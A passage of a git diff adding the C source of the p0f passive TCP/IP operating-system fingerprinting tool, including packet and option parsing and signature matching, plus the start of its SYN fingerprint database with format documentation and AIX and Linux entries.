(%d) for signature '%s %s' (line %d).", + sig[id].ttl, sig[id].os, sig[id].desc, sig[id].line + ); + } + + for (i=0;i 25) continue; + + if (sig[id].df ^ sig[i].df) continue; + if (sig[id].zero_stamp ^ sig[i].zero_stamp) continue; + + /* Zero means >= PACKET_BIG */ + if (sig[id].size) { if (sig[id].size ^ sig[i].size) continue; } + else if (sig[i].size < PACKET_BIG) continue; + + if (sig[id].optcnt ^ sig[i].optcnt) continue; + if (sig[id].quirks ^ sig[i].quirks) continue; + + switch (sig[id].wsize_mod) { + + case 0: /* Current: const */ + + cur=sig[id].wsize; + +do_const: + + switch (sig[i].wsize_mod) { + + case 0: /* Previous is also const */ + + /* A problem if values match */ + if (cur ^ sig[i].wsize) continue; + break; + + case MOD_CONST: /* Current: const, prev: modulo (or *) */ + + /* A problem if current value is a multiple of that modulo */ + if (cur % sig[i].wsize) continue; + break; + + case MOD_MSS: /* Current: const, prev: mod MSS */ + + if (sig[i].mss_mod || sig[i].wsize * + (sig[i].mss ? sig[i].mss : 1460 ) != cur) + continue; + + break; + + case MOD_MTU: /* Current: const, prev: mod MTU */ + + if (sig[i].mss_mod || sig[i].wsize * ( + (sig[i].mss ? sig[i].mss : 1460 )+40) != cur) + continue; + + break; + + } + + break; + + case 1: /* Current signature is modulo something */ + + /* A problem only if this modulo is a multiple of the + previous modulo */ + + if (sig[i].wsize_mod != MOD_CONST) continue; + if (sig[id].wsize % sig[i].wsize) continue; + + break; + + case MOD_MSS: /* Current is modulo MSS */ + + /* There's likely a problem only if the previous one is close + to '*'; we do not check known MTUs, because this particular + signature can be made with some uncommon MTUs in mind. The + problem would also appear if current signature has a fixed + MSS. */ + + if (sig[i].wsize_mod != MOD_CONST || sig[i].wsize >= 8) { + if (!sig[id].mss_mod) { + cur = (sig[id].mss ? sig[id].mss : 1460 ) * sig[id].wsize; + goto do_const; + } + continue; + } + + break; + + case MOD_MTU: /* Current is modulo MTU */ + + if (sig[i].wsize_mod != MOD_CONST || sig[i].wsize <= 8) { + if (!sig[id].mss_mod) { + cur = ( (sig[id].mss ? sig[id].mss : 1460 ) +40) * sig[id].wsize; + goto do_const; + } + continue; + } + + break; + + } + + /* Same for wsc */ + switch (sig[id].wsc_mod) { + + case 0: /* Current: const */ + + cur=sig[id].wsc; + + switch (sig[i].wsc_mod) { + + case 0: /* Previous is also const */ + + /* A problem if values match */ + if (cur ^ sig[i].wsc) continue; + break; + + case 1: /* Current: const, prev: modulo (or *) */ + + /* A problem if current value is a multiple of that modulo */ + if (cur % sig[i].wsc) continue; + break; + + } + + break; + + case MOD_CONST: /* Current signature is modulo something */ + + /* A problem only if this modulo is a multiple of the + previous modulo */ + + if (!sig[i].wsc_mod) continue; + if (sig[id].wsc % sig[i].wsc) continue; + + break; + + } + + /* Same for mss */ + switch (sig[id].mss_mod) { + + case 0: /* Current: const */ + + cur=sig[id].mss; + + switch (sig[i].mss_mod) { + + case 0: /* Previous is also const */ + + /* A problem if values match */ + if (cur ^ sig[i].mss) continue; + break; + + case 1: /* Current: const, prev: modulo (or *) */ + + /* A problem if current value is a multiple of that modulo */ + if (cur % sig[i].mss) continue; + break; + + } + + break; + + case MOD_CONST: /* Current signature is modulo something */ + + /* A problem only if this modulo is a multiple of the + previous modulo */ + + if (!sig[i].mss_mod) continue; + if ((sig[id].mss ? sig[id].mss : 1460 ) % + (sig[i].mss ? sig[i].mss : 1460 )) continue; + + break; + + } + + /* Now check option sequence */ + + for (j=0;j= MAXOPT) + FATAL("Too many TCP options specified in config line %d.\n",ln); + + /* Skip separators */ + do { p++; } while (*p && !isalpha(*p) && *p != '?'); + + } + + sig[sigcnt].line = ln; + + p = quirks; + + while (*p) + switch (toupper(*(p++))) { + case 'E': + FATAL("Quirk 'E' (line %d) is obsolete. Remove it, append E to the " + "options.\n",ln); + + case 'K': + if (!rst_mode) FATAL("Quirk 'K' (line %d) is valid only in RST+ (-R)" + " mode (wrong config file?).\n",ln); + sig[sigcnt].quirks |= QUIRK_RSTACK; + break; + + case 'Q': sig[sigcnt].quirks |= QUIRK_SEQEQ; break; + case '0': sig[sigcnt].quirks |= QUIRK_SEQ0; break; + case 'P': sig[sigcnt].quirks |= QUIRK_PAST; break; + case 'Z': sig[sigcnt].quirks |= QUIRK_ZEROID; break; + case 'I': sig[sigcnt].quirks |= QUIRK_IPOPT; break; + case 'U': sig[sigcnt].quirks |= QUIRK_URG; break; + case 'X': sig[sigcnt].quirks |= QUIRK_X2; break; + case 'A': sig[sigcnt].quirks |= QUIRK_ACK; break; + case 'T': sig[sigcnt].quirks |= QUIRK_T2; break; + case 'F': sig[sigcnt].quirks |= QUIRK_FLAGS; break; + case 'D': sig[sigcnt].quirks |= QUIRK_DATA; break; + case '!': sig[sigcnt].quirks |= QUIRK_BROKEN; break; + case '.': break; + default: FATAL("Bad quirk '%c' in line %d.\n",*(p-1),ln); + } + + e = bh[SIGHASH(_s,sig[sigcnt].optcnt,sig[sigcnt].quirks,d)]; + + if (!e) { + bh[SIGHASH(_s,sig[sigcnt].optcnt,sig[sigcnt].quirks,d)] = sig + sigcnt; + } else { + while (e->next) e = e->next; + e->next = sig + sigcnt; + } + + if (check_collide) collide(sigcnt); + + if (++sigcnt >= MAXSIGS) + FATAL("Maximum signature count exceeded.\n"); + + } + + fclose(c); + + if (!sigcnt) + ERR("[!] WARNING: no signatures loaded from config file.\n"); + +} + + + + +static uint8_t* lookup_link(uint16_t mss,uint8_t txt) { + uint32_t i; + static uint8_t tmp[32]; + + if (!mss) return txt ? "unspecified" : 0; + mss += 40; + + for (i=0;i= PACKET_BIG */ + if (p->size) { if (tot ^ p->size) { p = p->next; continue; } } + else if (tot < PACKET_BIG) { p = p->next; continue; } + + if (ocnt ^ p->optcnt) { p = p->next; continue; } + + if (p->zero_stamp ^ (!tstamp)) { p = p->next; continue; } + if (p->df ^ df) { p = p->next; continue; } + if (p->quirks ^ quirks) { p = p->next; continue; } + + /* Check MSS and WSCALE... */ + if (!p->mss_mod) { + if (mss ^ p->mss) { p = p->next; continue; } + } else if (mss % p->mss) { p = p->next; continue; } + + if (!p->wsc_mod) { + if (wsc ^ p->wsc) { p = p->next; continue; } + } else if (wsc % p->wsc) { p = p->next; continue; } + + /* Then proceed with the most complex WSS check... */ + switch (p->wsize_mod) { + case 0: + if (wss ^ p->wsize) { p = p->next; continue; } + break; + case MOD_CONST: + if (wss % p->wsize) { p = p->next; continue; } + break; + case MOD_MSS: + if (mss && !(wss % mss)) { + if ((wss / mss) ^ p->wsize) { p = p->next; continue; } + } else if (!(wss % 1460)) { + if ((wss / 1460) ^ p->wsize) { p = p->next; continue; } + } else { p = p->next; continue; } + break; + case MOD_MTU: + if (mss && !(wss % (mss+40))) { + if ((wss / (mss+40)) ^ p->wsize) { p = p->next; continue; } + } else if (!(wss % 1500)) { + if ((wss / 1500) ^ p->wsize) { p = p->next; continue; } + } else { p = p->next; continue; } + break; + } + + /* Numbers agree. Let's check options */ + + for (j=0;jopt[j] ^ op[j]) goto continue_search; + + /* Check TTLs last because we might want to go fuzzy. */ + if (p->ttl < ttl) { + if (use_fuzzy) fuzzy = p; + p = p->next; + continue; + } + + /* Naah... can't happen ;-) */ + if (!p->no_detail) + if (p->ttl - ttl > MAXDIST) { + if (use_fuzzy) fuzzy = p; + p = p->next; + continue; + } + +continue_fuzzy: + + /* Match! */ + + if (mss & wss) { + if (p->wsize_mod == MOD_MSS) { + if ((wss % mss) && !(wss % 1460)) nat=1; + } else if (p->wsize_mod == MOD_MTU) { + if ((wss % (mss+40)) && !(wss % 1500)) nat=2; + } + } + + if (!no_known) { + + a=(uint8_t*)&src; + + outbuf_add("%s ",p->os); + + if (!no_osdesc) outbuf_add("%s ",p->desc); + + if (nat == 1) outbuf_add("(NAT!) "); else + if (nat == 2) outbuf_add("(NAT2!) "); + + if (ecn) outbuf_add("(ECN) "); + if (orig_df ^ df) outbuf_add("(firewall!) "); + + if (_tos) { + if (tos_desc) outbuf_add("[%s] ",tos_desc); else outbuf_add("[tos %d] ",_tos); + } + + if (p->generic) outbuf_add("[GENERIC] "); + if (fuzzy_now) outbuf_add("[FUZZY] "); + + if (p->no_detail) outbuf_add("* "); else + if (tstamp) outbuf_add("up: %d hrs ",tstamp/360000); + + if (always_sig || (p->generic && !no_unknown)) { + + outbuf_add("Signature: ["); + + display_signature(ttl,tot,orig_df,op,ocnt,mss,wss,wsc,tstamp,quirks); + + if (p->generic) + outbuf_add(":%s:?] ",p->os); + else + outbuf_add("] "); + + } + + if (!no_extra && !p->no_detail) { + a=(uint8_t*)&dst; + + if (fuzzy_now) + outbuf_add(" link: %s", + lookup_link(mss,1)); + else + outbuf_add(" distance %d, link: %s", + p->ttl - ttl, + lookup_link(mss,1)); + } + + } + + return; + +continue_search: + + p = p->next; + + } + + if (!df) { df = 1; goto re_lookup; } + + if (use_fuzzy && fuzzy) { + df = orig_df; + fuzzy_now = 1; + p = fuzzy; + fuzzy = 0; + goto continue_fuzzy; + } + + if (mss & wss) { + if ((wss % mss) && !(wss % 1460)) nat=1; + else if ((wss % (mss+40)) && !(wss % 1500)) nat=2; + } + + if (!no_unknown) { + a=(uint8_t*)&src; + outbuf_add("UNKNOWN ["); + + display_signature(ttl,tot,orig_df,op,ocnt,mss,wss,wsc,tstamp,quirks); + + outbuf_add(":?:?] "); + + if (rst_mode) { + + /* Display a reasonable diagnosis of the RST+ACK madness! */ + + switch (quirks & (QUIRK_RSTACK | QUIRK_SEQ0 | QUIRK_ACK)) { + + /* RST+ACK, SEQ=0, ACK=0 */ + case QUIRK_RSTACK | QUIRK_SEQ0: + outbuf_add("(invalid-K0) "); break; + + /* RST+ACK, SEQ=0, ACK=n */ + case QUIRK_RSTACK | QUIRK_ACK | QUIRK_SEQ0: + outbuf_add("(refused) "); break; + + /* RST+ACK, SEQ=n, ACK=0 */ + case QUIRK_RSTACK: + outbuf_add("(invalid-K) "); break; + + /* RST+ACK, SEQ=n, ACK=n */ + case QUIRK_RSTACK | QUIRK_ACK: + outbuf_add("(invalid-KA) "); break; + + /* RST, SEQ=n, ACK=0 */ + case 0: + outbuf_add("(dropped) "); break; + + /* RST, SEQ=m, ACK=n */ + case QUIRK_ACK: + outbuf_add("(dropped 2) "); break; + + /* RST, SEQ=0, ACK=0 */ + case QUIRK_SEQ0: + outbuf_add("(invalid-0) "); break; + + /* RST, SEQ=0, ACK=n */ + case QUIRK_ACK | QUIRK_SEQ0: + outbuf_add("(invalid-0A) "); break; + + } + + } + + if (nat == 1) outbuf_add("(NAT!) "); + else if (nat == 2) outbuf_add("(NAT2!) "); + + if (ecn) outbuf_add("(ECN) "); + + if (_tos) { + if (tos_desc) outbuf_add("[%s] ",tos_desc); else outbuf_add("[tos %d] ",_tos); + } + + if (tstamp) outbuf_add("up: %d hrs ",tstamp/360000); + + if (!no_extra) { + a=(uint8_t*)&dst; + outbuf_add(" link: %s", lookup_link(mss,1)); + } + + fflush(0); + + } + +} + + +#define GET16(p) \ + ((uint16_t) *((uint8_t*)(p)+0) << 8 | \ + (uint16_t) *((uint8_t*)(p)+1) ) + + +char *p0f_parse(const uint8_t* packet, uint16_t pklen) { + const struct ip_header *iph; + const struct tcp_header *tcph; + const uint8_t* end_ptr; + const uint8_t* opt_ptr; + const uint8_t* pay = 0; + int32_t ilen,olen; + + uint8_t op[MAXOPT]; + uint8_t ocnt = 0; + uint16_t mss_val = 0, wsc_val = 0; + uint32_t tstamp = 0; + uint32_t quirks = 0; + + pkcnt++; + + outbuf_reset(); + + /* Paranoia! */ + end_ptr = packet + pklen; + + iph = (const struct ip_header*)(packet); + + /* Whoops, IP header ends past end_ptr */ + if ((const uint8_t*)(iph + 1) > end_ptr) return NULL; + + if ( ((iph->ihl & 0x40) != 0x40) || iph->proto != IPPROTO_TCP) { + return NULL; + } + + /* If the declared length is shorter than the snapshot (etherleak + or such), truncate this bad boy. */ + + opt_ptr = (const uint8_t*)iph + htons(iph->tot_len); + if (end_ptr > opt_ptr) end_ptr = opt_ptr; + + ilen = iph->ihl & 15; + + /* Borken packet */ + if (ilen < 5) return NULL; + + if (ilen > 5) { + + quirks |= QUIRK_IPOPT; + } + + tcph = (const struct tcp_header*)(packet + (ilen << 2)); + opt_ptr = (const uint8_t*)(tcph + 1); + + if (ack_mode && (tcph->flags & (TH_ACK|TH_SYN)) != (TH_ACK|TH_SYN)) return NULL; + if (rst_mode && (tcph->flags & TH_RST) != TH_RST) return NULL; + + /* Whoops, TCP header would end past end_ptr */ + if (opt_ptr > end_ptr) return NULL; + + if (rst_mode && (tcph->flags & TH_ACK)) quirks |= QUIRK_RSTACK; + + if (tcph->seq == tcph->ack) quirks |= QUIRK_SEQEQ; + if (!tcph->seq) quirks |= QUIRK_SEQ0; + + if (tcph->flags & ~(TH_SYN|TH_ACK|TH_RST|TH_ECE|TH_CWR)) + quirks |= QUIRK_FLAGS; + + ilen=((tcph->doff) << 2) - sizeof(struct tcp_header); + + if ( (const uint8_t*)opt_ptr + ilen < end_ptr) { + +#ifdef DEBUG_EXTRAS + uint32_t i; + + outbuf_add(" -- EXTRA PAYLOAD (packet below): "); + + for (i=0;i< (uint32_t)end_ptr - ilen - (uint32_t)opt_ptr;i++) + outbuf_add("%02x ",*(opt_ptr + ilen + i)); + + outbuf_add("%c",'\n'); + fflush(0); +#endif /* DEBUG_EXTRAS */ + + quirks |= QUIRK_DATA; + pay = opt_ptr + ilen; + + } + + while (ilen > 0) { + + ilen--; + + switch (*(opt_ptr++)) { + case TCPOPT_EOL: + /* EOL */ + op[ocnt] = TCPOPT_EOL; + ocnt++; + + if (ilen) { + + quirks |= QUIRK_PAST; + + } + + /* This goto will be probably removed at some point. */ + goto end_parsing; + + case TCPOPT_NOP: + /* NOP */ + op[ocnt] = TCPOPT_NOP; + ocnt++; + break; + + case TCPOPT_SACKOK: + /* SACKOK LEN */ + op[ocnt] = TCPOPT_SACKOK; + ocnt++; ilen--; opt_ptr++; + break; + + case TCPOPT_MAXSEG: + /* MSS LEN D0 D1 */ + if (opt_ptr + 3 > end_ptr) { +borken: + quirks |= QUIRK_BROKEN; + goto end_parsing; + } + op[ocnt] = TCPOPT_MAXSEG; + mss_val = GET16(opt_ptr+1); + ocnt++; ilen -= 3; opt_ptr += 3; + break; + + case TCPOPT_WSCALE: + /* WSCALE LEN D0 */ + if (opt_ptr + 2 > end_ptr) goto borken; + op[ocnt] = TCPOPT_WSCALE; + wsc_val = *(uint8_t *)(opt_ptr + 1); + ocnt++; ilen -= 2; opt_ptr += 2; + break; + + case TCPOPT_TIMESTAMP: + /* TSTAMP LEN T0 T1 T2 T3 A0 A1 A2 A3 */ + if (opt_ptr + 9 > end_ptr) goto borken; + op[ocnt] = TCPOPT_TIMESTAMP; + + memcpy(&tstamp, opt_ptr+5, 4); + if (tstamp) quirks |= QUIRK_T2; + + memcpy(&tstamp, opt_ptr+1, 4); + tstamp = ntohl(tstamp); + + ocnt++; ilen -= 9; opt_ptr += 9; + break; + + default: + + /* Hrmpf... */ + if (opt_ptr + 1 > end_ptr) goto borken; + + op[ocnt] = *(opt_ptr-1); + olen = *(uint8_t*)(opt_ptr)-1; + if (olen > 32 || (olen < 0)) goto borken; + + ocnt++; ilen -= olen; opt_ptr += olen; + break; + + } + + if (ocnt >= MAXOPT-1) goto borken; + + /* Whoops, we're past end_ptr */ + if (ilen > 0) + if (opt_ptr >= end_ptr) goto borken; + + } + +end_parsing: + + if (tcph->ack) quirks |= QUIRK_ACK; + if (tcph->urg) quirks |= QUIRK_URG; + if (tcph->_x2) quirks |= QUIRK_X2; + if (!iph->id) quirks |= QUIRK_ZEROID; + + find_match( + /* total */ ntohs(iph->tot_len), + /* DF */ (ntohs(iph->off) & IP_DF) != 0, + /* TTL */ iph->ttl, + /* WSS */ ntohs(tcph->win), + /* src */ iph->saddr, + /* dst */ iph->daddr, + /* sp */ ntohs(tcph->sport), + /* dp */ ntohs(tcph->dport), + /* ocnt */ ocnt, + /* op */ op, + /* mss */ mss_val, + /* wsc */ wsc_val, + /* tst */ tstamp, + /* TOS */ iph->tos, + /* Q? */ quirks, + /* ECN */ tcph->flags & (TH_ECE|TH_CWR), + /* pkt */ (uint8_t*)iph, + /* len */ end_ptr - (uint8_t*)iph, + /* pay */ pay + ); + + return outbuf_return(); +} + +static char outbuf[256]; +static size_t outbuf_off=0; +static void outbuf_add(const char *fmt, ...) { + va_list ap; + int s_ret=0; + + va_start(ap, fmt); + s_ret=vsnprintf(&outbuf[outbuf_off], sizeof(outbuf) - (1 + outbuf_off), fmt, ap); + assert(s_ret > 0); + + outbuf_off += s_ret; + assert(outbuf_off < sizeof(outbuf)); +} + +static void outbuf_reset() { + memset(outbuf, 0, sizeof(outbuf)); + outbuf_off=0; + return; +} + +static char *outbuf_return(void) { + return &outbuf[0]; +} diff --git a/src/tools/p0f/p0f.fp b/src/tools/p0f/p0f.fp new file mode 100644 index 0000000..58f4cb5 --- /dev/null +++ b/src/tools/p0f/p0f.fp @@ -0,0 +1,797 @@ +# +# p0f - SYN fingerprints +# ---------------------- +# +# .-------------------------------------------------------------------------. +# | The purpose of this file is to cover signatures for incoming TCP/IP | +# | connections (SYN packets). This is the default mode of operation for | +# | p0f. This is also the biggest and most up-to-date set of signatures | +# | shipped with this project. The file also contains a detailed discussion | +# | of all metrics examined by p0f, and some practical notes on how to | +# | add new signatures. | +# `-------------------------------------------------------------------------' +# +# (C) Copyright 2000-2004 by Michal Zalewski +# +# Each line in this file specifies a single fingerprint. Please read the +# information below carefully before attempting to append any signatures +# reported by p0f as UNKNOWN to this file to avoid mistakes. Note that +# this file is compatible only with the default operation mode, and not +# with -R or -A options (SYN+ACK and RST+ modes). +# +# We use the following set metrics for fingerprinting: +# +# - Window size (WSS) - a highly OS dependent setting used for TCP/IP +# performance control (max. amount of data to be sent without ACK). +# Some systems use a fixed value for initial packets. On other +# systems, it is a multiple of MSS or MTU (MSS+40). In some rare +# cases, the value is just arbitrary. +# +# NEW SIGNATURE: if p0f reported a special value of 'Snn', the number +# appears to be a multiple of MSS (MSS*nn); a special value of 'Tnn' +# means it is a multiple of MTU ((MSS+40)*nn). Unless you notice the +# value of nn is not fixed (unlikely), just copy the Snn or Tnn token +# literally. If you know this device has a simple stack and a fixed +# MTU, you can however multiply S value by MSS, or T value by MSS+40, +# and put it instead of Snn or Tnn. One system may exhibit several T +# or S values. In some situations, this might be a source of some +# additional information about the setup if you have some time to dig +# thru the kernel sources; in some other cases, like Windows, there seem +# to be a multitude of variants and WSS selection algorithms, but it's +# rather difficult to find a pattern without having the source. +# +# If WSS looks like a regular fixed value (for example is a power of two), +# or if you can confirm the value is fixed by looking at several +# fingerprints, please quote it literaly. If there's no apparent pattern +# in WSS chosen, you should consider wildcarding this value - but this +# should be the last option. +# +# NOTE: Some NAT devices, such as Linux iptables with --set-mss, will +# modify MSS, but not WSS. As a result, MSS is changed to reflect +# the MTU of the NAT device, but WSS remains a multiple of the original +# MSS. Fortunately for us, the source device would almost always be +# hooked up to Ethernet. P0f handles it automatically for the original +# MSS of 1460, by adding "NAT!" tag to the result. +# +# In certain configurations, Linux erratically (?) uses MTU from another +# interface on the default gw interface. This only happens on systems with +# two network interfaces. Thus, some Linux systems that do not go thru NAT, +# but have multiple interfaces instead, will be also tagged this way. +# +# P0f recognizes and automatically wildcards WSS of 12345, as generated +# by sendack and sendsyn utilities shipped with the program, when +# reporting a new signature. See test/sendack.c and test/sendsyn.c for more +# information about this. +# +# - Overall packet size - a function of all IP and TCP options and bugs. +# While this is partly redundant in the real world, we record this value +# to capture rare cases when there are IP options (which we do not currently +# examine) or packet data past the headers. Both situations are rare. +# +# Packet size MAY be wildcarded, but the meaning of the wildcard is +# very special, and means the packet must be larger than PACKET_BIG +# (defined in config.h as 100). This is usually not necessary, except +# for some really broken implementations in RST+ mode. For more information, +# see p0fr.fp. P0f automatically wildcards big packets when reporting +# new signatures. +# +# NEW SIGNATURE: Copy this value literally. +# +# - Initial TTL - We check the actual TTL of a received packet. It can't +# be higher than the initial TTL, and also shouldn't be dramatically +# lower (maximum distance is defined in config.h as 40 hops). +# +# NEW SIGNATURE: *Never* copy TTL from a p0f-reported signature literally. +# You need to determine the initial TTL. The best way to do it is to +# check the documentation for a remote system, or check its settings. +# A fairly good method is to simply round the observed TTL up to +# 32, 64, 128, or 255, but it should be noted that some obscure devices +# might not use round TTLs (in particular, some shoddy appliances and +# IRIX and Tru64 are known to use "original" initial TTL settings). If not +# sure, use traceroute or mtr to see how far you are from the host. +# +# Note that -F option overrides this check if no signature can be found. +# +# - Don't fragment flag (DF) - some modern OSes set this to implement PMTU +# discovery. Others do not bother. +# +# NEW SIGNATURE: Copy this value literally. Note: this setting is +# sometimes cleared by firewalls and/or certain connectivity clients. +# Try to find out what's the actual state for a given OS if you see both, +# and add the right one. P0f will automatically detect a case when a +# firewall removed the DF flag and will append "(firewall!)" suffix to +# the signature, so if the DF version is the right one, don't add no-DF +# variant, unless it has a different meaning. +# +# - Maximum segment size (MSS) - this setting is usually link-dependent. P0f +# uses it to determine link type of the remote host. +# +# NEW SIGNATURE: Always wildcard this value, except for rare cases when +# you have an appliance with a fixed value, know the system supports only +# a very limited number of network interface types, or know the system +# is using a value it pulled out of nowhere. I use specific unique MSS +# to tell Google crawlbots from the rest of Linux population, for example. +# +# If a specific MSS/MTU is unique to a certain link type, be sure to +# add it to mtu.h instead of creating several variants of each signature. +# +# - Window scaling (WSCALE) - this feature is used to scale WSS. +# It extends the size of a TCP/IP window to 32 bits, of sorts. Some modern +# systems implement this feature. +# +# NEW SIGNATURE: Observe several signatures. Initial WSCALE is often set +# to zero or other low value. There's usually no need to wildcard this +# parameter. +# +# - Timestamp - some systems that implement timestamps set them to +# zero in the initial SYN. This case is detected and handled appropriately. +# +# NEW SIGNATURE: Copy T or T0 option literally. +# +# - Selective ACK permitted - a flag set by systems that implement +# selective ACK functionality, +# +# NEW SIGNATURE: copy S option literally. +# +# - NOP option - its presence, count and sequence is a useful OS-dependent +# characteristic, +# +# NEW SIGNATURE: copy N options literally. +# +# - Other and unrecognized options (TTCP-related and such) - implemented by +# some eccentric or very buggy TCP/IP stacks ;-), +# +# NEW SIGNATURE: copy ? options literally. +# +# - EOL option. Contrary to the popular belief, the presence of EOL +# option is actually quite rare, most systems just NOP-pad to the +# packet boundary. +# +# NEW SIGNATURE: copy E option literally. +# +# - The sequence of TCP all options mentioned above - this is very +# specific to the implementation, +# +# NEW SIGNATURE: Copy the sequence literally. +# +# - Quirks. Some buggy stacks set certain values that should be zeroed in a +# TCP packet to non-zero values. This has no effect as of today, but is +# a valuable source of information. Some systems actually seem to leak +# memory there. Other systems just exhibit harmful but very specific +# behavior. This section captures all unusual yes-no properties not +# related to the main and expected header layout. We detect the following: +# +# - Data past the headers. Neither SYN nor SYN+ACK packets are supposed +# to carry any payload. If they do, we should take notice. The actual +# payload is not examined, but will be displayed if use the -X option. +# Note that payload is not unusual in RST+ mode (see p0fr.fp), very +# rare otherwise. +# +# - Options past EOL. Some systems have some trailing data past EOL +# in the options section of TCP/IP headers. P0f does not examine this +# data as of today, simply detects its presence. If there is a +# confirmed sizable population of systems that have data past EOL, it +# might be a good idea to look at it. Until then, you have to recompile +# p0f with DEBUG_EXTRAS set or use -x to display this data, +# +# - Zero IP ID. This again is a (mostly) harmless setting to use a fixed +# IP ID for packets with DF set. Some systems reportedly use zero ID, +# most OSes do not. There is a very slight probability of a false +# positive when IP ID is "naturally" chosen to be zero on a system +# that otherwise does set proper values, but the probability is +# neglible (if it becomes a problem, recompile p0f with IGNORE_ZEROID +# set in the sources). +# +# - IP options specified. Usually, packets do not have any IP options +# set, but there can be some. Until there is a confirmed sizable +# population of systems that do have IP options in a packet, p0f +# does not examine those in detail, but it might change (use +# DEBUG_EXTRAS or -x to display IP options if any found), +# +# - URG pointer value. SYN packets do not have URG flag set, so the +# value in URG pointer in TCP header is ignored. Most systems set it +# to zero, but some OSes (some versions of Windows, for example) do +# not zero this field or even simply leak memory; the actual value is +# not examined, because most cases seem to be just random garbage +# (you can use DEBUG_EXTRAS or -x to report this information though); +# see doc/win-memleak.txt for more information, +# +# - "Unused" field value. This should be always zero, but some systems +# forget to clear it. This might result in some funny issues in the +# future. P0f checks for non-zero value (and will display it if +# DEBUG_EXTRAS is set, or you can use -x), +# +# - ACK number non-zero. ACK value in SYN packets with no ACK flag +# is disregarded and is usually set to zero (just like with URG +# pointer), but some systems forget to do it. The exact value is +# not examined (but will be displayed with DEBUG_EXTRAS, or you can +# use -x). Note that this is not an anomaly in SYN+ACK and RST+ modes, +# +# - Non-zero second timestamp. The initial SYN packet should have the +# second timestamp always zeroed. SYN+ACK and RST+ may "legally" have +# this quirk though, +# +# - Unusual flags. If, in addition to SYN (or SYN+ACK), there are some +# auxilinary flags that do not modify the very meaning of a packet, +# p0f records this (this can be URG, PUSH, or something else). +# +# Note: ECN flags (ECE and CWR) are ignored and denoted in a separate +# way. ECN is never by default, because some systems can't handle it, +# and it probably does not make much sense to include it in signatures +# right now. +# +# - TCP option segment parsing problems. If p0f fails to decode options +# because of a badly broken packet, it records this fact. +# +# There are several other quirks valid only in RST+ mode, see p0fr.fp for +# more information. Those quirks are unheard of in SYN and SYN+ACK +# modes. +# +# NEW SIGNATURE: Copy "quirks" section literally. +# +# We DO NOT use ToS for fingerprinting. While the original TCP/IP +# fingerprinting research believed this value would be useful for this +# purpose, it is not. The setting is way too often tweaked by network +# devices. +# +# To wildcard MSS, WSS or WSCALE, replace it with '*'. You can also use a +# modulo operator to match any values that divide by nnn - '%nnn' (and, +# as stated above, WSS also supports special values Snn and Tnn). +# +# Fingerprint entry format: +# +# wwww:ttt:D:ss:OOO...:QQ:OS:Details +# +# wwww - window size (can be * or %nnn or Sxx or Txx) +# "Snn" (multiple of MSS) and "Tnn" (multiple of MTU) are allowed. +# ttt - initial TTL +# D - don't fragment bit (0 - not set, 1 - set) +# ss - overall SYN packet size (* has a special meaning) +# OOO - option value and order specification (see below) +# QQ - quirks list (see below) +# OS - OS genre (Linux, Solaris, Windows) +# details - OS description (2.0.27 on x86, etc) +# +# If OS genre starts with '*', p0f will not show distance, link type +# and timestamp data. It is useful for userland TCP/IP stacks of +# network scanners and so on, where many settings are randomized or +# bogus. +# +# If OS genre starts with @, it denotes an approximate hit for a group +# of operating systems (signature reporting still enabled in this case). +# Use this feature at the end of this file to catch cases for which +# you don't have a precise match, but can tell it's Windows or FreeBSD +# or whatnot by looking at, say, flag layout alone. +# +# If OS genre starts with - (which can prefix @ or *), the entry is +# not considered to be a real operating system (but userland stack +# instead). It is important to mark all scanners and so on with -, +# so that they are not used for masquerade detection (also add this +# prefix for signatures of application-induced behavior, such as +# increased window size with Opera browser). +# +# Option block description is a list of comma or space separated +# options in the order they appear in the packet: +# +# N - NOP option +# E - EOL option +# Wnnn - window scaling option, value nnn (or * or %nnn) +# Mnnn - maximum segment size option, value nnn (or * or %nnn) +# S - selective ACK OK +# T - timestamp +# T0 - timestamp with zero value +# ?n - unrecognized option number n. +# +# P0f can sometimes report ?nn among the options. This means it couldn't +# recognize this option (option number nn). It's either a bug in p0f, or +# a faulty TCP/IP stack, or, if the number is listed here: +# +# http://www.iana.org/assignments/tcp-parameters +# +# ...the stack might be simply quite exotic. +# +# To denote no TCP options, use a single '.'. +# +# Quirks section is usually an empty list ('.') of oddities or bugs of this +# particular stack. List items are not separated in any way. Possible values: +# +# P - options past EOL, +# Z - zero IP ID, +# I - IP options specified, +# U - urg pointer non-zero, +# X - unused (x2) field non-zero, +# A - ACK number non-zero, +# T - non-zero second timestamp, +# F - unusual flags (PUSH, URG, etc), +# D - data payload, +# ! - broken options segment. +# +# WARNING WARNING WARNING +# ----------------------- +# +# Do not add a system X as OS Y just because NMAP says so. It is often +# the case that X is a NAT firewall. While nmap is talking to the +# device itself, p0f is fingerprinting the guy behind the firewall +# instead. +# +# When in doubt, use common sense, don't add something that looks like +# a completely different system as Linux or FreeBSD or LinkSys router. +# Check DNS name, establish a connection to the remote host and look +# at SYN+ACK (p0f -A -S should do) - does it look similar? +# +# Some users tweak their TCP/IP settings - enable or disable RFC1323, +# RFC1644 or RFC2018 support, disable PMTU discovery, change MTU, initial +# TTL and so on. Always compare a new rule to other fingerprints for +# this system, and verify the system isn't "customized". It is OK to +# add signature variants caused by commonly used software (PFs, security +# packages, etc), but it makes no sense to try to add every single +# possible /proc/sys/net/ipv4/* tweak on Linux or so. +# +# KEEP IN MIND: Some packet firewalls configured to normalize outgoing +# traffic (OpenBSD pf with "scrub" enabled, for example) will, well, +# normalize packets. Signatures will not correspond to the originating +# system (and probably not quite to the firewall either). +# +# NOTE: Try to keep this file in some reasonable order, from most to +# least likely systems. This will speed up operation. Also keep most +# generic and broad rules near ehe end. +# +# Still decided to add signature? Let us know - mail a copy of your discovery +# to lcamtuf@coredump.cx. You can help make p0f better, and I can help you +# make your signature more accurate. +# + +########################## +# Standard OS signatures # +########################## + +# ----------------- AIX --------------------- + +# AIX is first because its signatures are close to NetBSD, MacOS X and +# Linux 2.0, but it uses a fairly rare MSSes, at least sometimes... +# This is a shoddy hack, though. + +45046:64:0:44:M*:.:AIX:4.3 + +16384:64:0:44:M512:.:AIX:4.3.2 and earlier + +16384:64:0:60:M512,N,W%2,N,N,T:.:AIX:4.3.3-5.2 (1) +32768:64:0:60:M512,N,W%2,N,N,T:.:AIX:4.3.3-5.2 (2) +65535:64:0:60:M512,N,W%2,N,N,T:.:AIX:4.3.3-5.2 (3) + +65535:64:0:64:M*,N,W1,N,N,T,N,N,S:.:AIX:5.3 ML1 + +# ----------------- Linux ------------------- + +S1:64:0:44:M*:A:Linux:1.2.x +512:64:0:44:M*:.:Linux:2.0.3x 